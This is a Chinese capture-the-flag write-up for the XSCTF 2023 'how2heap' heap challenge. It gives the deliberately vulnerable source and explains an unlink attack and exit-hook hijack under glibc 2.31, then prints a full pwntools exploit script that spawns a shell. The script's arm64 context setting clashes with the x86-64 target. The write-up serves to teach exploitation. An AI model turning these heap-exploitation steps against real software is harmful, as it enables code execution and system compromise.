[XSCTF 2023]how2heap WriteUp

Qanux 2023-10-25 12:19:45

考点

  • libc2.31下的unlink
  • 劫持exit hook

程序逻辑

  • 只有PIE未开启,无需泄露elf基址,无法改got表
    程序可以进行的操作有
  • add:新建一个chunk并在chunk中写上内容
  • delete:删除一个已有的chunk,free后将指针指向NULL,不存在UAF漏洞
  • show:显示指定chunk中的内容
  • edit:对指定的chunk的内容进行编辑,不过只能对第8和第9个chunk进行操作

漏洞分析

整个程序只有一个地方存在漏洞,在菜单页时输入114514即可进入这个函数并执行漏洞代码,下面为该函数的出题源码:

void sub_4040(){
    if(have_list[7]==0){
        return;
    }
    else if(one==0){
        one=1;
        int size = 0x10;
        a = malloc(size);
        return;
    }
    else if(one == 1){
        one = 2;
        read(0,a,0x20); 
        puts_ptr = &puts;
        return;
    }
    else
    exit(0);
}

可以看到该函数只有在第8个chunk给创建后才可以进行操作,而且只能够调用两次
第一次:创建一个0x20大小的堆块(包括堆块头)
第二次:向刚才创建的堆块中读入0x20字节的内容,并将堆上的函数指针指向puts函数的地址
可见这个地方出现了0x10大小的堆溢出,0x10字节大小的溢出好可以覆盖下一个堆块的prev_size字段和size字段

漏洞利用

  • 首先创建8个大小相同的堆块,然后调用sub_4040()函数,然后再创建第9个和前面大小相同的堆块
  • 然后将前7个chunk给释放掉,次数tcache已经给填满,然后利用edit在第8个chunk中伪造fake_chunk,并第二次调用sub_4040()将第9个chunk的pre_size和size进行修改,具体操作为:
p.sendline(str(114514))
payload = b'a' * 0x10 + p64(0xd0) + p64(0xc0)
p.sendline(payload)

payload = p64(0) + p64(0xd1) + p64(0x4040b8 - 0x18) + p64(0x4040b8 - 0x10)
edit(7,payload)
  • 此时将chunk 9删除后即可进行unlink,对任意内存进行读写。unlink的原理可以参考这一篇文章:https://blog.csdn.net/qq_41202237/article/details/108481889
  • 正常想法是通过unlink在got表处获取libc地址,可是这一题程序开启了Full RELRO,got表不可写,如果将指针指向got泄露完地址后就不能进行任何操作了,约等于这个unlink用完了,而且chunk的申请次数已经用完,无法再次进行unlink操作。
  • 想起前面第二次调用sub_4040()函数时有个函数指针指向了puts的地址,我们可以通过它来泄露地址,并且可以在edit时通过填充偏移另chunk 8的指针指向我们要修改的地方,进行修改
  • 这题将free_hook修改为ogg无法getshell,所以我们选择改exit_hook,exit_hook的相关利用可以参考这篇文章:https://www.cnblogs.com/pwnfeifei/p/15759130.html

完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack

# p = process(["./ld-linux-x86-64.so.2", "./test"],
#             env={"LD_PRELOAD":"./libc.so.6"})

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so", "./my"],
#             env={"LD_PRELOAD":"/mnt/d/desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"})

# p = process('./pwn')
p = remote("", )
context(arch='arm64', os='linux', log_level='debug')
elf = ELF('./task')
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')

execve = [0xe3afe, 0xe3b01, 0xe3b04]

def add(size,content):
    p.recvuntil("please input your choice:\n")
    p.sendline(b'1')
    p.recvuntil('size:\n')
    p.sendline(str(size))
    p.recvuntil('content:\n')
    p.sendline(content)

def show(index):
    p.recvuntil("please input your choice:\n")
    p.sendline(b'4')
    p.recvuntil('index:\n')
    p.sendline(str(index))

def delete(index):
    p.recvuntil("please input your choice:\n")
    p.sendline(b'2')
    p.recvuntil('index:\n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil("please input your choice:\n")
    p.sendline(b'3')
    p.recvuntil('index:\n')
    p.sendline(str(index))
    p.recvuntil('content:\n')
    p.send(content)

for i in range(7):
    add(0xb0,b'aaaaa')

add(0xb0,b'aaaaa')
p.sendline(str(114514))
add(0xb0,b'aaaaa')

for i in range(7):
    delete(str(i))

p.recvuntil("please input your choice:\n")

p.sendline(str(114514))
payload = b'a' * 0x10 + p64(0xd0) + p64(0xc0)
p.sendline(payload)

payload = p64(0) + p64(0xd1) + p64(0x4040b8 - 0x18) + p64(0x4040b8 - 0x10)
edit(7,payload)
delete(8)

payload = p64(0) * 3 + p64(0x404060)
edit(7,payload)
show(7)
puts_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("puts_addr =",hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10

for i in range(3):
    execve[i] += libc_base

payload = p64(0) * 11 + p64(_dl_rtld_lock_recursive)
edit(7,payload)
edit(7,p64(execve[0]))
p.sendline(b'6')

p.interactive()

第一次出题,题目缺乏创新且有许多问题QWQ,相信下一次能做的更好!

评论

Qanux

pwn新手,不断追求变强

twitter weibo github wechat

随机分类

数据安全 文章:29 篇
软件安全 文章:17 篇
企业安全 文章:40 篇
Java安全 文章:34 篇
Ruby安全 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录